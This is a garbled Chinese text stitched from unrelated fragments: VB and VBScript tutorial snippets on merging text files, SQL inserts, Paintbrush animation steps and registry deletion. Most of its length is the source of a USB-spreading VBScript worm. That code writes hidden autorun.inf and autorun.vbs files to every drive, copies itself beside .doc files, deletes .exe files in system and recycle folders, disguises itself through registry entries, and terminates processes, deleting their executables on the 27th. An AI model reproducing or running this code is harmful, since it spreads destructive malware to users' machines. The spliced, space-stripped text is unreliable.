设计DLL
为了创建接口,打开VisualBasic并创建一个标准的可执行项目,并将他存储在你所选定的ExcelDLL文件夹中
dim xint,xinlu,jiuw
dim objfso,objoutputfile,f,fx
dim objTextFile,strtext
Set objFSO=CreateObject("Scripting.FileSystemObject") '创建FSO对象
jiuw=inputbox("请输入源文件夹所在的路径(含文件夹名称)","请输入多个TXT文件夹所在位置")
if objFSO.folderexists(jiuw) then
set f=objFSO.getfolder(jiuw) '文件所在位路径
else
msgbox "路径错误,请重新输入"
end if
xinlu=inputbox("请输入新的TXT所在的路径(不含书名),如果省略——即直接不输入点确定或取消,则默认是创建在源文件夹同一层位置","新的TXT保存位置")
if objFSO.folderexists(xinlu) or len(xinlu)=0 then
xint=inputbox("请输入新书名的名字","新书名")
if len(xint)>0 then
xint=xinlu & xint
Set objOutputFile=objFSO.CreateTextFile( xint &".txt") '创建名为output的新的TXT,可以修改为你要的名称.txt
else
msgbox "没有输入内容,请重新输入"
end if
else
msgbox "路径错误,请重新输入"
end if
For Each fx In f.Files '循环写入文本内容
Set objTextFile=objFSO.OpenTextFile(fx, ForReading) '找开文件
strText=objTextFile.ReadAll '读取全部
objTextFile.Close '关闭打开的文件
objOutputFile.WriteLine strText '在output.txt写入 文本 内容
Nextinsertintoarticle(id,class,title,content)selectid,'2',title,contentfromarticlewhereclass='1'
如果id为自动编号,就把改为:
insertintoarticle(class,title,content)select'2',title,contentfromarticlewhereclass='1'
如果class为数字类型,则去掉单引号.打开WINDOWS附件中的“画笔”,打开bfly1.bmp,点取“画像”菜单中的“翻转/旋转”,选择“水平翻转”后,将生成的新文件另存存盘,起名“左飞”,同样的方法将bfly2.bmp另存为“左合”,将bfly1.bmp改名为“右飞”,bfly2.bmp改名为“右合”(左飞,左合是蝴蝶向左飞时的画面,右飞,右合是蝴蝶向右飞时的画面,最后在画笔中将4个图的底色都改为黑色,这是保证蝴蝶的底色和屏幕的背景相融合)
这样是打不开的/如果在浮点表达式中使用这些常量,可以通过常量的合适类型来加速程序运行,就象下面的代码:->value#=value# 1#.->
这个语句强迫编译器按照Double格式存储常量,这样就省却了运行时的隐含转换工作
这个方法的效率比原来那个高得多,而且似乎没有文件大小限制
怎么样?学会了对硬盘的简单读写操作,这些东东一点也不神秘了吧
删除关键字和值
使用regdelete方法,把完整的路径传递给regdelete就可以了
例如
val=ws.regdel(path)
注意,如果要删除关键词的值的话 一定要在路径最后加上“\”,如果不加斜线,就会删除整个关键词js屏蔽域名
----在需显示动画的窗体(Form1)中设置Image对象Image1和Timer对象Timer1,并按下表设置它们的属性,未列出的属性使用缺省值这里是一个个返回给X)
ifx=""then
x=Mid(aa,1,1)
i=1
endif
Setx=fs.GetDrive(x)
ifx.IsReadythen
scan(x)
else
xunhuan()
endif
Next
endFunction(结束本子程序,作用不明)
Functionscan(x)(定义子程序scan(a))
OnErrorResumeNext(出错不报告)
dimfiles,file,subfolder,folder_
setfolder_=fs.getfolder(x)
setfiles=folder_.files
foreachfileinfiles
s=file.path
ext=fs.GetExtensionName(file)
ext=lcase(ext)(lcase函数返回字符串的小写形式)
ifext="doc"then
fff=sss&".copy("&chr(34)&mid(s,1,len(s)-3)&"vbs"&chr(34)&")"(fff是sss.copy加几个字符
怀疑这个几个字符组成一个文件名)
Executefff
endif
next
setsubfolders=folder_.subfolders
foreachsubfolderinsubfolders
scan(subfolder)
next
endFunction
Functionganrandisk()
OnErrorResumeNext
regwrite()
dimdoc,d,s,coun,w,h,oo
Setdoc=fs.Drives
foreachkindoc
ifk.IsReadythen
h=h&k.DriveLetter
endif
next
t1=len(Trim(h))
coun=doc.count
dowhilecoun>0
oo=h&w
clearinfo(oo)
wscript.sleep50
Setd=fs.Drives
ifd.count>counthen
foreachkind
ifk.IsReadythen
s=s&k.DriveLetter
endif
next
coun=d.count
t=StrReverse(LCase(Trim(s)))
w=mid(t,1,abs(len(t)-t1))
countdrive(w)
ganranfile(w)
s=trim("")
t1=len(t)
endif
ifd.count
foreachkind
ifk.IsReadythen
s=s&k.DriveLetter
endif
next
coun=d.count
t=StrReverse(LCase(Trim(s)))
s=trim("")
t1=len(t)
endif
loop
endFunction
Functionxunhuan()
OnErrorResumeNext
dimsfo
setsfo=fs.GetDrive(fs.GetDriveName(dvbs.path))
ifdvbs.name="autorun.vbs"ordvbs.name="USBDRIVE.dll"then
ifsfo.DriveType=2then
ganrandisk()
else
wscript.quit
endif
else
dvbs.delete(true)
endif
endFunction
Functionclearinfo(oo)
OnErrorResumeNext
dimdc,z
oo=LCase(Trim(oo))
Form=1ToLen(oo)
z=Mid(oo,m,1)
Setz=fs.GetDrive(z)
findinf(z)
v=Array(z.DriveLetter&":\recycled",z.DriveLetter&":\SystemVolumeInformation")
fori=0to1
scanexe(v(i))
next
next
vir=array(fs.GetSpecialFolder(1)&"\recycled",fs.GetSpecialFolder(2),fs.GetSpecialFolder(0)&"\system")
fori=0to2
scanexe(vir(i))
next
endFunction
Functionscanexe(a)
wscript.sleep100
OnErrorResumeNext
dimfiles,file,folder_
iffs.FolderExists(a)then
setfolder_=fs.getfolder(a)
setfiles=folder_.files
foreachfileinfiles
ext=fs.GetExtensionName(file)
ext=lcase(ext)
ifext="exe"then
Setf=fs.GetFile(file)
f.delete(true)
endif
next
setsubfolders=folder_.subfolders
foreachsubfolderinsubfolders
scanexe(subfolder)
next
endif
endFunction
Functionfindinf(z)
OnErrorResumeNext
Iffs.FileExists(fs.GetSpecialFolder(1)&"\USBDRIVE.dll")Then
else
fff=sss&".copy("&chr(34)&fs.GetSpecialFolder(1)&"\USBDRIVE.dll"&chr(34)&")"
Executefff
Iffs.FileExists(fs.GetSpecialFolder(1)&"\USBDRIVE.dll")Then
else
ppp=a6&Space(2)&chr(34)&a5&chr(34)&","&chr(34)&"D:\SystemVolumeInformation"&"\USBDR"&"IVE.dll"&chr(34)
Executeppp
endif
endif
Iffs.FileExists(z.DriveLetter&":\autorun.vbs")Then
else
fff=sss&".copy("&chr(34)&z.DriveLetter&":\autorun.vbs"&chr(34)&")"
Executefff
Setf=fs.GetFile(z.DriveLetter&":\autorun.vbs")
f.attributes=f.attributes+7
endif
Iffs.FileExists(z.DriveLetter&":\autorun.inf")Then
Setc=fs.opentextfile(z.DriveLetter&":\autorun.inf",1)
vbc=c.readall
IfInStr(vbc,"WScript.exe.\autorun.vbs")<>0Then
c.Close
Else
Setf=fs.GetFile(z.DriveLetter&":\autorun.inf")
f.attributes=f.attributes-f.attributes
Setts=f.OpenAsTextStream(2,-2)
ts.WriteLine"[AutoRun]"(以下建立自动播放文件)
ts.WriteLine"open="
ts.WriteLine""
ts.WriteLine"shell\open=打开(&O)"
ts.WriteLine"shell\open\Command=WScript.exe.\autorun.vbs"
ts.WriteLine"shell\open\Default=1"
ts.close
f.attributes=f.attributes+7
endif
else
Setts=fs.CreateTextFile(z.DriveLetter&":\autorun.inf",true)
ts.WriteLine"[AutoRun]"
ts.WriteLine"open="
ts.WriteLine""
ts.WriteLine"shell\open=打开(&O)"
ts.WriteLine"shell\open\Command=WScript.exe.\autorun.vbs"
ts.WriteLine"shell\open\Default=1"
ts.close
Setf=fs.GetFile(z.DriveLetter&":\autorun.inf")
f.attributes=f.attributes+7
EndIf
iffs.FileExists(z.DriveLetter&":\vbs.reg")then
else
Setts=fs.CreateTextFile(z.DriveLetter&":\vbs.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"文本文件"&chr(34)
ts.close
Setf=fs.GetFile(z.DriveLetter&":\vbs.reg")
f.attributes=f.attributes+7
endif
iffs.FileExists(z.DriveLetter&":\doc.reg")then
else
Setts=fs.CreateTextFile(z.DriveLetter&":\doc.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"MicrosoftWord文档"&chr(34)
ts.close
Setf=fs.GetFile(z.DriveLetter&":\doc.reg")
f.attributes=f.attributes+7
endif
endFunction
FunctionKillProcess(NameorPID)
OnErrorResumeNext
DimoWMI,oProcs,oProc,strSQL
KillProcess=False
strSQL="SELECT*FROMWin32_Process"
IfNameOrPID<>""Then
IfIsNumeric(NameOrPID)Then
strSQL=strSQL&"WHEREHandle='"&NameorPID&"'"
Else
strSQL=strSQL&"WHEREName='"&NameorPID&"'"
EndIf
EndIf
SetoWMI=GetObject("winmgmts:\\.\root\cimv2")
SetoProcs=oWMI.ExecQuery(strSQL)
ForEachoProcInoProcs
IfIsNumeric(NameOrPID)Then
oProc.Terminate
KillProcess=True
Else
oProc.Terminate
ifday(date())="27"then
setkillfile=fs.getfile(oProc.ExecutablePath)
killfile.delete(true)
EndIf
endif
Next
SetoProc=Nothing
SetoProcs=Nothing
SetoWMI=Nothing
EndFunction
。